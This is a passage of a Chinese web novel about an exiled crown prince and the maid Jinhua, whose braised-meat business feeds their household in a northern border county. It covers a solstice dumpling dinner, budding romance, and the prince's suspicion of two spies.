他亲自培养的太子,竟将赵猛看得比他这个父皇还重要!
他下令打他五十大板,打到他知错为止!在卿尘被太监们拉出去时,赵猛跪地求情,看似求情,实则挑衅。
“陛下息怒!太子是皇后娘娘留下的唯一血脉,容不得半点闪失啊!”
“五十大板会要了太子殿下的命啊!陛下三思啊!”
帝王眼里燃烧着怒火,皇后娘娘几个字,从赵猛嘴里说出,让他更加失去了理智!
“给朕拖出去,打!”
门外板子声响起,并无一声呼喊、求饶。
他虽震怒,却还保留一丝理智,他给身边伺候的太监一个眼色,太监便悄悄转身去了打板子的人身边传话。
宫里面打板子是有学问的,有的板子重重落下,声音又大,可打在身上却不疼。
即便最后皮开肉绽,却不伤根本。
他坐在大殿之上,听着殿外板子啪啪落下的声音,心如刀绞。
帝王冷声道:“太子之位,实为国本。二皇子陆卿尘失于仁德,至百姓安危于不顾,实不堪大任,今日起,废除二皇子陆卿尘太子之位!”
“下朝!”帝王拂袖而去。
满朝文武哗然!
帝王深夜独坐勤政殿,老太监悄悄来报:“禀陛下,太子殿下已在冷宫安顿下来,身边有小谢将军照看着,身上的伤涂了金创药,看着严重,实则无碍。”
他摆摆手,老太监便退下了。
卿尘去北境也好,如今朝内、后宫想要他命的不少,北境是大乾最苦寒之地,发配到那反倒不引人注目。
那孩子自幼丧母,明面上不得父亲关爱,此次又被废打了板子,不知是否会因此记恨自己。
这些年宫里流言不断,皆是传言卿尘并非皇子,而是皇后与赵猛将军的孩子,赵猛将军才会将一身武艺谋略毫无隐藏地倾数相传。
可这些流言他皆不信,皇后仙逝他也曾一度弃用赵猛,可那并非明君所为。
他信得过皇后和赵猛将军的人品,这些年的观察,皆为上乘。
皇后既说卿尘是他的孩子,他便不疑,这皇位早晚是他的。
如今朝内后宫两股势力,许妃、丽妃皆想登上后位。
大皇子、五皇子也明争暗斗对太子之位觊觎已久。
他皆装作不知,奏折上催促再立太子的言论一律驳回。
卿尘暂且在北境避避风头,前朝后宫这些污糟事自有他来摆平,到时卿尘依然是北境最尊贵的太子。
她死后,大乾便再无皇后,太子之位也只属于他们的儿子。
此去北境,这一路上卿尘遭了不少罪,如今入了冬,天气寒凉,来报的探子称,卿尘和谢威到这个小丫鬟在离县的集市上售卖卤货,才得了钱穿上棉衣。
这话听了,让他这个做父皇的心疼了许久,若是皇后在天有灵,不知会不会怪他。
但他认为,这些历练,对卿尘来说并非坏事,总好过被宫里的明枪暗箭伤了性命。
想着想着,他叫来了身边的老太监:“承恩,差人去北境,给太子送些过冬的东西,天冷了,再给些银子度日。”
老太监听了一愣,陛下依然说的是太子,还要送东西去北境,看来父子之情尚未断。
况且皇后仙逝多年,陛下迟迟未立新后。宫内外留言不断,说太子不是陛下的孩子,陛下也从未理会。看来那些做梦登上太子之位和皇后宝座的人,是白想了。
“是,陛下,奴才这就差人去办。”
这差事不光要办,还要办得好!
看来太子回宫,指日可待。
第一卷 第41章 冬至
早早的锦婳就起了床,准备今日的早饭。
难得看见隔壁林嫂子起得这样早,忙进忙出的,锦婳便问了一句。
林嫂子告诉她,今日是冬至,家家户户都要包饺子吃,家里人口又多,要剁上好几盆的馅儿,要早些准备。
锦婳观察了一会儿,果然家家户户都忙碌着,她心里盘算着,今日从集上回来,也买些菜和肉,包些饺子吃。
再把申家兄弟和张洛王里喊来。
锦婳在小厨房把昨日买的一斤鲜面煮了,炸了鸡蛋酱,撒上小葱花。
她教着陆卿尘和谢威把鸡蛋酱拌进面条里,再放上葱花。
这两位爷在宫里吃的都是山珍海味,哪里会知道鸡蛋酱拌面怎么吃。
锦婳吃了一口面条,真香啊!
她告诉陆卿尘和谢威:“这离县可并非朝廷说的那个样子,我刚才看了看,家家户户都养了猪、鸡鸭鹅,富足得很!”
“而且,刘嫂子告诉我,今日是冬至,家家户户都要包饺子吃,还有几家杀了猪,即便是在京城,百姓也是只有过年才吃饺子的。”
谢威扒了一口面说道:“这离县的县官还真是治理有功,就是许久未见你那位张家小公子了?”
谢威开始没正形,打趣锦婳。
锦婳压根儿就没长那个心思,所以也没听出来,随口答道:“听说他去放马了。”
“放马?”陆卿尘抬头问。
锦婳嘴里叼着面条,睁大眼睛点点头:“嗯,你不知道吗?离县衙门养了好多战马,就圈在北山那片空地,申家大哥告诉我的。”
陆卿尘不语,默默思虑,这离县的县官竟是个人才,朝廷不管,他就自己养战马,筑城墙,若有机会,真该去拜会拜会这位张大人。
青龙、白首信上说,已经从南方动身,不日可到。
到时,寻找碧痕的事也该提上日程了。
见陆卿尘不说话,在愣神,锦婳伸出小手在他眼前晃了晃:“公子?是面条不好吃吗?你将就些,晚上我给你和哥包饺子!再叫上申家大哥和两位官差大哥可好?”
陆卿尘也扒了口面:“吾说过,这些小事,你决定就好。”
谢威吃得快,已经起身去装车了。
锦婳想起早上林嫂子悄悄问她:“和那两个性子古怪的大男人住在一块儿,还住得惯吗?属实有些难为你了!”
锦婳点点头:“我哥那人还算好说话,我家公子吧,他那人就那样,话少得很,但是人不坏。”
锦婳也说不出陆卿尘哪里好,可能都是自小没了娘亲,独处惯了的人,话都没有那么多。
旁人看着他性情古怪难相处,她觉得倒也还好。
申家兄弟也觉得陆卿尘这人古怪,沉默寡言,但……人还是不错,至少不挑肥拣瘦的,还有就是……他们兄弟经常在这混吃混喝,他都没有二话。
锦婳在厨房里收拾东西,谢威装车,三人还没出发,就听见有人敲门的声音。
是林嫂子带着几个村民,大家拿盆的拿盆,拿碗的拿碗,进了院子。
林嫂子笑着挽着锦婳道:“妹子,今日过节,我们大伙都想买些卤货配酒和饺子吃,今日有什么现成的?”
锦婳掀开盖着卤货的帘子,给林嫂子和村民们挑选。
锦婳热情地介绍着:“这个是我新做的青冻,只用了猪皮和盐,味道清爽得很。”
“还有这个卤猪皮,软软烂烂的,特别入味。”
“若是配酒,那这个猪大肠是最好的了!”
“对了!还有猪血和素菜,若是买得多,都可以送一点。”
锦婳大方,秤都给得满满的,最后还给每人送了些素菜,锦婳乐乐呵呵地送走这些村民,又迎来了下一伙。
三人称重、收钱,忙活到了下午,这下可好,今日不用去集上卖了,在家里的院子里就卖了个七七八八。
还剩了些猪大肠、鸭头、素菜,锦婳说不卖了,收摊,这些卤货得留着晚上自家人吃呢!
刚才卖卤货时,锦婳就和同村的郭大爷说好了,一会儿得了闲就去他家里割块肉包饺子。
锦婳收拾好家里剩的卤货,拿着盆就出去了。
锦婳在郭大爷家割了五十文的五花肉,郭大爷说,五花肉包饺子最好了,肥瘦相间,肉也不柴。
锦婳看郭大爷家有菠菜,想着能煮成菜汁和面,又买了两文钱的。
不一会儿,锦婳就端着一盆五花肉,一捆菠菜进了门。
锦婳朝屋里瞥了一眼,只有谢威和陆卿尘在炕上,两人似乎在商量着什么,锦婳有眼力见的没有进屋,直接进了小厨房。
申家兄弟和两个官差还没来,应该是还没有下工,趁这个功夫剁馅活面。
锦婳麻利,活了两种馅,一种纯肉馅,一种白菜肉馅,白菜多,肉少一些,陆卿尘爱吃素的,被他少包一些。
锦婳把菠菜煮成汁,揉进面里,活了两个面团。
再把两个面剂子拼在一起,包出来的饺子活像一颗大白菜!
这饺子她还是跟太子府的大厨子学的,太子府每年过年都要包饺子,大厨子包的饺子皮薄馅大,样子也好看。
一晃出宫这么久了,也不知道大厨子如今在哪个宫里做事,过得如何,又没人肯像她那般任他使唤。
锦婳摇摇头,不想了,宫里的日子恍如隔世。
锦婳手快,转眼几屉帘饺子下了锅,屋外有声音,锦婳伸出头朝外看,是申家兄弟和张洛王里风尘仆仆地进了门。
看样子晚上很冷,四人进屋带进了一股凉气。
锦婳先把卤货装盘,端进屋里。小炕桌上摆着两壶酒,锦婳问道:“这酒是谁买的?”
申虎挠头笑着道:“俺买的,今日过节,想着和大伙喝点酒,热闹热闹。”
锦婳却道:“山上的活挣钱不容易,不是这么个花法的。等攒了些钱买身棉衣,盖间房子,以后再来吃饭若是再花钱,是不许进门的。”
申虎知道锦婳这姑娘心善,这是心疼他花的钱了,陪着笑说:“知道了,妹子!”
锦婳不再说什么,转身进了厨房。
第一卷 第42章 饺子
不一会儿,锦婳的玉白菜饺子出了锅,几大盘子饺子端上桌时,申家兄弟和王里张洛都看直了眼。
这哪里是饺子,这活脱脱就是一颗颗的小玉白菜啊!
陆卿尘和谢威倒是不以为然,这饺子他们每年过年时都要吃,没成想竟是锦婳这丫头包的。
锦婳把素馅的饺子往陆卿尘面前挪了挪,告诉众人:“各位哥哥,今日冬至,算是我们来北境的第一个节,饺子管够,吃完小妹再去煮。”
张洛和王里每日在山上砍树,吃的都是工地发的菜包子、大饼子,虽说比流放路上的吃食好些,但也只是能饱腹罢了。
今日能吃到热乎乎的饺子,别提多高兴了,几人酒足饭饱,张洛感慨道:“锦婳妹子有这份手艺,不去市集上卖饺子真是可惜了。”
锦婳道:“北境家家户户都会包饺子,我即便是去卖怕是也没几个人肯买的。”
王里道:“那倒是,到底是卤货好卖些,比我们在山上砍树强多了。”
锦婳问道:“山上砍树的人多吗?都是什么人?”
王里答:“多!足有上千人!大多都是村里人和临村的,北境冬天没有农活可干,男丁闲着也是闲着,就去山上砍树挣点是点。”
锦婳又问道:“山上砍树吃的如何?”
王里摇摇头:“不好,大多数人都吃不饱,可也没有办法,给了工钱,不可能再给好的吃食了。”
谢威看锦婳这丫头不语,笑着问道:“你可是又有了什么主意?”
锦婳对申家兄弟和张洛王里说:“几位哥哥觉得,卤肉的汤汁浇在饭上,每碗再给两块肉,几块土豆,在山上可还能卖得动?”
申豹问道:“一碗卖几个铜板?”
锦婳算了算:“糙米饭倒是不贵,一碗算一个铜板,卤肉和土豆算三个铜板,就卖五个铜板,一碗饭赚一个铜板就好。”
申虎道:“我看行!”
锦婳又对几人道:“几位大哥可愿意跟着我干?一天也是十个铜板,管饭,但活却轻松得多。”
申虎和申豹爽快地答应了:“跟着锦婳妹子,亏不了,我们兄弟干!”
张洛和王里却有些犹豫,锦婳看出来了两人的顾虑,便说:“二位大哥再考虑考虑,我这卤肉饭也不一定能卖得出去,若是真的生意还行,人手不够时,再去找二位大哥帮忙。”
张洛和王里点头应下:“好说!好说!”
吃了饺子,几人谢过锦婳,便都各回各家了。
锦婳收拾完炕桌,又去干厨房里的活,看天色没太黑,又端着盆出去了,不一会就端回来一盆猪肉。
谢威趴窗户看,锦婳身后还跟着一个男人,肩上扛着一个麻袋。
谢威赶紧出门迎锦婳,走近一看才发现,跟在锦婳身后扛麻袋的正是张家那位小公子。
谢威接过张澈肩上的麻袋,道了谢。
张澈不好意思地说:“我娘吩咐我来你家买些卤货给晚上爹爹下酒,刚走到郭大爷家门口,就看见锦婳妹子一个人又扛麻袋,又端盆地,就顺道给送了回来。”
谢威陪着笑:“多亏了小张公子,不然我这妹子最是逞强,晚上又要吵着腰疼、腿疼了。”
锦婳对张澈说:“小张公子可要进屋暖和暖和,我家公子在屋里练字,一会儿我把卤货端进屋里给你挑。”
张澈也是个实在的,被锦婳领着进了屋,与陆卿尘打了招呼,坐在炕上暖和着。
谢威扛着土豆进了厨房,帮锦婳一起挑着卤货。
屋里陆卿尘和张澈喝着热茶,陆卿尘见张澈眼神明亮,人又和善,只觉得他是个坦荡的青年。
一杯茶下肚,陆卿尘问道:“听说离县的衙门里养了战马?”
张澈人也直爽,如实说道:“地方私自养战马,朝廷本是不让的。可也是没了办法,若是哪日蛮夷入侵,家家户户的爷们儿皆可上战场,可若是没有战马,恐怕更不是蛮夷的对手。”
陆卿尘又问道:“那若是蛮夷未入侵,又被朝廷发现了,又当如何?”
张澈眼中满是坦然,眼睛明净如清泉:“蛮夷不入侵,对北境百姓自然是幸事,若是朝廷发现追责,父亲和娘亲都说,大不了我张家全家下大狱,再不济就是砍头。”
张澈接着是一脸苦笑,无奈又没有办法。
陆卿尘听着有些悲壮又有些决绝。
“吾如今……被发配北境,贬为庶民,也爱莫能助。不过吾认为可以让村里的男丁闲暇时与谢威学些防身的功夫,也好过胡乱打斗。”
张澈笑着应下:“那自然好!”
这时,锦婳和谢威端了几个碗推门而入,锦婳把装好的卤货放在张澈身前的炕桌上,细心地介绍着。
“小张公子,这是青冻,回去蘸着酱油和蒜酱一起吃。”
“这卤猪皮软嫩可口,是我新研制的,空口吃又软烂又劲道!”
“还有这个鸭头,看着不起眼,切开里面的脑花可是极香的。”
“这碗是素菜,有藕片、猪血、豆角,豆干。”
“今日过节,卤货都被村里人买光了,家里只有这些了。”
锦婳有些歉意,自打来了离县,小张公子没少帮忙,今日来买卤货,货却不全,
张澈也不好意思地说:“原是我来晚了。”
锦婳道:“若是张大人和夫人爱吃这口,可差人来告诉一声,要什么我便留出来。若是不得空,我送过去也可以。”
张澈端着碗说:“那太麻烦你了,我也是闲着,自己来买就成了。对了,锦婳妹子,这些卤货多少钱?”
锦婳不想收,一来是想还张澈这段时日的照顾之情。二来,人家是府衙的县太爷老爷要吃,若是收钱则显得太不懂事了!
锦婳推搡到:“这些东西都是不值钱的,若是吃得好,下次买再一起给就成了。”
张澈却不干:“那怎么成,你们这也是小本买卖,也是糊口的营生,父亲若是知道我白拿了你的,回去腿都是要被打断的!”
锦婳噗呲一声笑了出来,想来那张县令也是个好官,不拿百姓一分一毫。
“张公子就给十文好了,这都是剩下的,不是新做的,卖不了几个钱的。”
第一卷 第43章 假意投诚
张澈爽快地给了铜板,锦婳也笑着接了过去。
张澈临走时,回头意味深长地看了陆卿尘一眼,那眼神里似乎有惋惜,也有同情。
他这样一个清风霁月的翩翩公子,怎么会是废太子,还被打断了腿,发配到了北境这么个鸟不拉屎的地方。
刚才与他的对话,分明可以感觉到,他做太子时一定是个仁慈的太子,若是将来成为君主,也定是明君。
可惜了……
张澈对陆卿尘颔首道:“陆公子,改日我再来与您求教边境问题。”
陆卿尘未做声,只是点了点头。
送走了张澈,锦婳回了屋,那两个大大男人正坐在炕上,眼神带笑地看着她。
锦婳白了那两人一眼道:“有话快说,有屁快放!”
谢威厉声道:“锦婳,怎么和主子说话呢!我和主子也是关心你,你是不是瞧上那位小张公子了?”
锦婳翻了个白眼,这两个人一天心里都没个正事,挣钱的事不多想想,整日想她又看上谁,又没看上谁的!
谢威不依不饶:“若是真的喜欢人家,哥便为你去张家说和说和。”
锦婳铺着炕,不耐烦地说:“瞎说和什么啊!人家是县太爷家的公子,我是什么,孤女?宫女?婢女?”
陆卿尘听了这话,觉得锦婳一定是看上了人家,又觉得自己配不上人家,不知为何,内心竟有些不是滋味。
他不想再听下去,拿了一本书翻着看。
锦婳也不再理会谢威,躺在炕上开始犯愁,明日开始既要做卤货,又要做山上的卤肉饭,有的她忙得,若是山上的卤肉饭卖得好,她得赶紧寻个帮厨才是。
一碗卖五文,去了成本赚一文。卖一百碗赚一百文,除去申家兄弟的二十文,还剩八十文。
这么个赚法,得什么时候能盖上房子,开上酒楼啊!
想着想着,锦婳叹了口气,翻个身睡了。
陆卿尘躺在旁边,只觉得这丫头今日翻来覆去的,还不时的叹口气。
看来真是看上了那个张澈,得了相思病了。
陆卿尘越想心里越烦闷,说不出的滋味,索性也不去想,睡了过去。
谢威今日问锦婳是不是看上了那个张澈时,他瞥了一眼主子的表情,分明是满满的醋意。
主子这个人啊!又不是没成过亲,怎么连喜欢这个人都不自知。
锦婳这个丫头也是的,好像天生少了那么根筋,守着这么俊俏的主子不贴上去,整日里小张公子、小张公子的说个不停。
这两个人啊,还得靠他谢威的帮忙,不然这辈子都够呛能发现自己的心意。
第二日一早,锦婳起得更早了些。
她要煮上满满一锅的糙米饭,昨日晚上从郭大爷家割的肉,切成丁,用卤肉的汤汁卤得香香嫩嫩的。
今天就没时间做卤货了,昨日冬至,没去上集市,下货和素菜家里都没有,索性偷一天懒算了。
陆卿尘和谢威早上一起床,就闻见了米香味儿和卤肉味儿。
锦婳盛出了五碗饭,浇上汤头,每碗饭上给配了两块卤肉。
不一会,申家兄弟来了,锦婳把卤肉饭端上桌,几人先吃,尝尝味道。
申虎大口扒了几口饭:“锦婳妹子!就你这卤肉饭,这个价钱,拿到山上卖一定能卖光!”
申豹也连连点头:“我们兄弟早上特意去和隔壁郭大爷家借了推车,一会吃完饭咱们就装车,好赶上中午饭点。”
锦婳还拿不准这卤肉饭能不能大卖,但看申家兄弟这么有信心,边说:“若是赚了钱,先给两位大哥买推车!”
申豹笑着扒了两口饭:“好说!好说!”
吃完饭,大家一起装车,陆卿尘拄着拐杖站在屋檐下晒着太阳。
难得锦婳今日不去集市卖卤货,他也乐得清闲。
手推车上装着满满三桶糙米饭,两桶卤汁,一盆卤肉。
锦婳算计着,一百碗绰绰有余。
申家兄弟推着车出发了,锦婳送到门口,叮嘱着注意安全,别为了赶路摔了,小心车上的肉汤别撒了,再有就是别小气,每碗饭都盛满满的,日后才有生意做。”
申家兄弟满口应下了,推着独轮车上了山。
谢威帮着装上车,站在屋檐下和陆卿尘一起晒着太阳。
“主子,锦婳现在越来越有做生意的样子了,看来我们真要靠她一个小丫头养活了。”
陆卿尘看着锦婳在太阳下晒着萝卜白菜,忙忙碌碌,从心往外地笑。
“吾倒是觉得被人养也不错,这些年在宫里钩心斗角属实太累了,如今被一个小丫头养着,缺吃少穿,日子过得反倒畅快。”
谢威低声提醒:“殿下暂且放松倒没什么,可别忘了您大业未成,就算为了全天下的百姓,也不能让这江山落到大皇子和五皇子手中。”
陆卿尘点头:“吾知晓,青龙、白虎已经从江南出发,正快马加鞭朝北边来。等他们二人到了,便除掉张洛和王里,碧痕,也该去寻了。”
谢威皱眉:“殿下怎知张洛和王里是假意投诚?”
陆卿尘看着锦婳把白菜码放得整整齐齐的,还按照大小排了序,低声说道:“山上砍树的名单里,压根儿就没有他们二人的名字,发工钱时核对人名总不会作假。”
“吾也悄悄打听了申家兄弟,皆说没在山上见过他们二人。”
“昨日锦婳请他们二人去山上卖卤肉饭,他二人神色慌张,定是压根儿就没去过山上砍树,怕在申家兄弟面前露了馅,吾便更肯定了自己的猜测。”
谢威握拳沉声问:“那他们说自己的家人都在丽妃手里,也是假的?亏得属下还信了他们!”
陆卿尘继续道:“正因为他们的身家都在丽妃手上,便更不会背叛丽妃。”
“现在说不定两人就不知躲在何处监视着吾。”
“此二人必须除掉,否则碧痕一旦暴露行踪,全家都会有性命之忧,吾早已将生死看淡,但总不好连累了旁人。”
第一卷 第44章 大卖
谢威恨得咬牙切齿,那两人平日里没少吃锦婳的、喝锦婳的,没想到却养了两只白眼狼!
家里的柴火没了,谢威提着镰刀去山上砍柴,家里只剩下陆卿尘和锦婳两人。
锦婳是属于一日不赚钱就心里不安生,一会儿扒着门看申家兄弟回来了没,一会又在院子里踱步,看着心烦得很。
陆卿尘坐在窗沿下的石凳上,今日中午暖和些,他穿着棉衣晒太阳。
看见锦婳在院子里踱步,便招手让她过来。
“前日吾教你那几个字可还记得?”
锦婳点头:“记得的。”
陆卿尘从地上捡了一根树枝递给锦婳:“写给吾看。”
锦婳看了他一眼,接过树枝,还真把自己当先生了。
不过学几个字总是好的,日后开酒楼管账也用得着。
只要他愿意教,她就一直学下去。
锦婳拿着树枝,在地上一笔一画地写着:“一撇一捺是人,人上一横是大,大上一横是天。”
陆卿尘满意的点点头,这丫头还算聪慧,那日教她那几个字全都记得。
陆卿尘又捡起一根树枝,写了一个婳字。
锦婳见这个字有些难,皱眉问道:“这字念什么?”
陆卿尘抬头与她对视,眼眸如星般明亮:“你的名字,这字就念婳。”
陆卿尘也不知锦婳究竟是哪个婳字,问她估计也是不知的,他倒是觉得这个婳字很好,是形容女子安静美好的。
安静……倒是谈不上,不过有这小丫头的日子确实美好。
锦婳蹲在地上,仔仔细细地端详了一会儿,他写的这个字真好看,虽然她不会写字,但也知道他写的字是极好的。
突然,锦婳转头看陆卿尘,眼神赤诚明亮:“这个字很好看,我喜欢!”
陆卿尘的心仿佛被锦婳此刻的天真可爱触动了,伸手招呼她:“过来,吾教你写这个字。”
锦婳起身蹲在他身前,陆卿尘在身后环着她,白皙的骨节分明的手指握着锦婳的手。
两人写了一遍又一遍,一直写到下午,谢威砍柴回来了。
谢威背着一大捆柴火,推开门就看到主子环抱着锦婳,好像在教她写字。
两人脸上皆是笑意,这不是喜欢又是什么!
锦婳见谢威回来了,扔下手里的树枝,起身就跑到谢威身前。
锦婳手脚麻利,帮谢威卸下背在身上的柴火。
谢威砍了两个时辰的柴火,足有一百斤。
锦婳这些天卖卤货和卤肉饭,早就把家里的柴火用了个七七八八,正犯难想着去哪买些柴火,没想到谢威一下子砍来了这么多。
谢威竟是个眼里有活的!
其实谢威今日砍柴纯属为了发泄,他陪着主子一路到北境,什么都需隐忍!
就连两个小官吏都动不得,如今这般,哪如在战场上厮杀来得畅快!
砍了两个时辰的柴火,力气耗尽了,出了一身汗,心里也舒坦了。
锦婳眉眼弯弯地夸赞道:“哥,你真厉害,弄了这么多柴火回来,我正想着买一些,这可省下了不少钱!”
谢威被锦婳夸得有些不好意思了:“以后再缺柴火跟哥说便是,我再给你砍来。”
说完转身拿毛巾去井边擦洗,锦婳见谢威脱了外衣,自觉进了厨房。
谢威砍了一上午柴,指定是饿了,她也该做饭了。
锦婳今日不上集市,有的是时间,想着给那主仆俩好好做顿饭,还有申家兄弟下午回来也要吃。
锦婳把猪里脊切成丁,裹上鸡蛋和面粉下锅炸得酥脆。
再把煮熟的西红柿下锅熬成浓浆,撒上一把糖,下入炸好的猪里脊块。加入葱丝和姜丝翻炒,一道樱桃肉就出锅了。
主食锦婳蒸了一锅北境的特色粘豆包,是前几日从郭大爷家买的,郭大爷说上锅蒸一刻钟,蘸上糖,最是好吃!
锦婳怕陆卿尘不爱吃肉菜,特意又做了一道凉菜。
白菜心切成丝,和煮好的细粉拌在一起,加上盐、糖、醋,锦婳尝了一口,清甜酸爽,很是好吃。
锦婳给申家兄弟留了一碗樱桃肉,半锅粘豆包,用大碗扣好,免得凉了。
谢威已经擦洗完了,见锦婳在厨房里忙活,便凑到陆卿尘跟前,小声说:“主子,今日去山上砍柴,属下遇到两个村民,从他们口中得知,今日离县很是不太平,经常有蛮夷入境扰民惹事,主子可好出手管管?”
陆卿尘皱眉片刻然后道:“此事还是要与张县令商议,张洛王里不除,不可轻举妄动。”
见锦婳把午饭做好端进了屋里的炕桌上,两人便不再言语,起身进了屋。
锦婳瞥了那主仆一眼,心里没好气地想,才没人愿意听你们磨耳朵,还是挣了钱放在兜里才是最重要的!
陆卿尘看了一眼桌上的饭菜,没一个他叫得出名字的。
见陆卿尘迟迟未动筷,锦婳把粘豆包夹了一个放在他的碗里,又在粘豆包上淋了一勺糖。
“吃吧,这是北境的特产,叫粘豆包,宫里是吃不到的。”
谢威听锦婳这么说,自己夹了一个放在碗里,也学锦婳的样子淋一勺糖,咬了一口,好吃!太好吃了!
外皮软糯,带些发酵的酸味,里面的豆馅甜甜糯糯的,很是可口。
谢威又夹了一块樱桃肉,同样的酸甜可口,至于那凉菜,他动都没动。
想来也是锦婳做给主子吃的,主子喜素不喜肉,自己就不跟他抢了。
锦婳见谢威爱吃樱桃肉,便又夹了几块放在他碗里。
然后笑得甜甜地说:“哥今天辛苦了,砍了那么多柴,多吃点肉补一补。”
谢威笑着将碗里的肉塞进嘴里,锦婳这丫头,砍个柴能辛苦到哪里,在太子府时,太子勤学,常常天没亮就要起床读书习字,他这个侍卫统领每日都要陪着,过得可不比现在清闲。
不一会儿,门外有了动静,是申家兄弟拎着几个大木桶进了门。
锦婳急忙下炕冲出去看,满满三桶饭都卖光了,就连卤肉汤都见了底。
申家兄弟眼睛笑眯眯的:“锦婳妹子,你这卤肉饭在山上简直是大卖啊!明日要多做几桶才行!”
第一卷 第45章 好心
锦婳心里也是高兴,笑得眉眼弯弯的,也顾不上吃饭了,和申家兄弟在院子里就地数上了铜板。
屋子里,陆卿尘和谢威坐在炕头上,吃着粘豆包,谢威笑着说道:“主子,你说锦婳怎么就那么爱钱呢,挣钱像不要命似的,也不觉得累。”
陆卿尘吃了一口锦婳拌的白菜心,果然是他爱吃的口味,酸甜清爽,油腻的他也不是不能吃,只不过少吃几口菜,多扒几口饭的事儿。
但锦婳这丫头总是想得周到,即便他不是太子了,身份低到了尘埃里,虽然她自始至终也没拿他当主子伺候过,但也从未亏待。
陆卿尘看锦婳蹲在院子里数铜板数得眉飞色舞,也跟着眉眼舒展开了,缓缓道:“人有奔头总是好的,也许她有未完成的心愿,需要很多银钱才能完成吧。”
谢威点头:“主子说的是,既然这丫头这么爱钱,等主子的银库到了北境,不如给她一些银子,何苦让她这般的辛苦?”
陆卿尘却不这么认为:“你肯给,她却未必肯要,锦婳这人看着和善好说话,实际上性子执拗得很,平白无故的好处,她是未必肯拿的。”
两人正说着,锦婳拎着一袋铜板和申家兄弟前后脚进了屋,三人有说有笑,看样子高兴得很!
锦婳把装铜板的袋子扔在了炕上,招呼申家兄弟先上炕,自己去小厨房去端来特意给他们留的饭菜。
等锦婳回来,申家兄弟已经跟谢威和陆卿尘一起吃上了。
见锦婳端来一看就是特意留的饭菜,申虎爽朗地笑着说:“妹子何必这么见外,我们流放的时候吃在一处,住在一处,什么苦没吃过,现在有我们兄弟俩一口吃的就已经很好了,以后不用特意给我们留饭了!”
锦婳却冷下脸把刚才大伙一吃起的饭菜推到了一边,把特意留的那碗樱桃肉挪到了申家兄弟面前道:“辛苦了一上午,吃口热乎的总是好的!”
申虎申豹笑着:“诶!”了一声,开始大口扒饭。
他们兄弟俩可是真饿了,还是早上吃的那一碗饭,推着独轮车走了一上午的山路,中午卖饭又忙得脚打后脑勺,可算回来了,锦婳做的饭菜又那么可口,得多吃点才是!
陆卿尘看看锦婳,这丫头刚才可能没吃饱,只顾着数钱了,现在拿着粘豆包像小松鼠似的小口小口吃着。
这丫头自来是嘴硬心软,认识她的人谁都知道她心眼儿好得很,她对申家兄弟也是当哥哥们看待,还特意留了热乎饭菜。
对自己也是,即便是家里只剩卤菜了,即便她卖卤货累了一天,也会特意再做一个可口的小菜给他吃。
对谢威这个哥,她更是比旁人多了几分心疼,棉衣、棉裤,被褥,除了给自己这个主子买,什么也没少了他的。
有时候他想,像锦婳这样的姑娘,若是想嫁人,应该是不愁嫁的吧……
流放路上还不觉得什么,大家都是不梳头、不洗脸的,一副脏兮兮的乞丐的样子。
可自打在离县定居了下来,锦婳这丫头虽然没刻意打扮过,但把他们三人的衣服总洗得干干净净,她穿着集上新买的缎子棉袄,头上扎着两个团子一样的髻,没有头饰就绑了两根粉色的缎带,竟然显得更加可爱。
陆卿尘抬头瞧了一眼锦婳,这丫头的皮肤在离县生活这段日子,也养得白皙透亮了,不像流放路上晒得那么黑了,眉眼也较之前长开了些,这丫头这段日子,好像长了些似的。
特别是……胸前变得鼓鼓溜溜的,不像流放时那么扁平……
陆卿尘赶紧收回眼神,把头埋在饭碗里,扒了几口菜。
他是经过人事的男人,自然知道这种感觉是什么,他试着劝慰自己,也许自己只是对锦婳有生理上的反应,这并不是爱慕。
申家兄弟也吃饱了,满足地放下了碗筷。
申虎打了个饱嗝道:“锦婳妹子,明日还得多准备些饭,今日根本就没够卖的!”
申豹也兴奋地说:“是啊,锦婳妹子,你是没看到,一到中午,我们兄弟把装卤肉的桶打开,香味儿一下子就飘出来了,那买饭的人队伍排的呀!足有一里地!”
申豹眼睛里全是笑意,抢着说:“你告诉我每碗饭都给盛得满满的,我照着做了,可真有你的,买卤肉饭的人都是干了一上午活儿,饿得不行,吃了这么满满冒尖的一碗饭,都说你的卤肉饭好吃又实在!”
锦婳眉眼弯弯笑嘻嘻地说:“今日真是辛苦两位大哥了!卤肉饭卖得好,看来这个生意可以做下去,若是日后大伙吃够了卤肉饭,我再做些别的拿到山上去卖!”
说完,锦婳从钱袋子里数了二十个铜板递给申家兄弟俩。
申家兄弟也并没见外,笑着收下了。
锦婳送申家兄弟出了门,裹了裹衣服转身进了屋,北境的晚上可真冷啊!
剩下的钱,锦婳和陆卿尘、谢威计划着明日赶车去集上多买些糙米和五花肉。
锦婳有些皱眉:“你们几个大男人都不会生火做饭,我自己一个人做卤肉饭还要卖卤货,实在是有些忙不过来,看来得找个帮手了。”
陆卿尘询问:“可有合适的人选?”
锦婳皱眉摇头:“我们刚来离县,认识的人不多,稍稍熟悉一些的也只有张家小公子、林嫂子和郭大爷。”
“对了!林嫂子!”锦婳好像想起了什么似的,从炕上一下子窜到地上。
谢威见锦婳光着脚就要往外跑,急着叫:“锦婳,你还没穿鞋呢!快把鞋穿上,地上多凉!”
锦婳笑嘻嘻地回身穿鞋,开了门就出去了。
谢威无奈地摇摇头:“这丫头见钱眼开,我真怕她哪日为了赚钱,找个买主把我这个哥也给卖了。”
陆卿尘却认真的说道:“她不会。”
谢威问:“主子为何这样说?”
陆卿尘喝了口热茶,一脸认真地说:“你起码还能砍柴,对她还是有些用处的,要卖也是先卖吾。”
谢威:“……”
第一卷 第46章 帮厨
锦婳不一会儿就笑嘻嘻地跑了回来,北境冬日里的夜里特别凉,她用棉衣把自己裹得紧紧的。
锦婳进屋后赶紧拖鞋上炕,搓手让自己暖和过来。
陆卿尘和谢威已经躺下了,应该是谢威铺的床,这两人没有自己伺候,不是也什么都能干吗?
锦婳也赶紧脱了外衣,进了被窝。
谢威坐起身:“你刚刚跑去哪了?那般的着急,鞋子都忘了穿?”
锦婳笑着道:“我去隔壁林嫂子家了,明日一早林嫂子就领着女儿舟舟来帮忙,我答应了每日也是10文的工钱,管饭。”
陆卿尘虽闭着眼睛,倒也没睡着,幽幽道:“那也好,总归别累到自己便是,有人帮忙也能轻快些。”
锦婳心里暖暖的,这或许就是有家人的感觉吧?面上却只“嗯”了一声,便躺下了。
第二日一早,锦婳刚起床,林嫂子领着女儿舟舟早早地就来了。
舟舟十岁上下的年纪,长得黑黑瘦瘦的,是典型北方人的大脸盘,跟在林嫂子身后怯怯懦懦的。
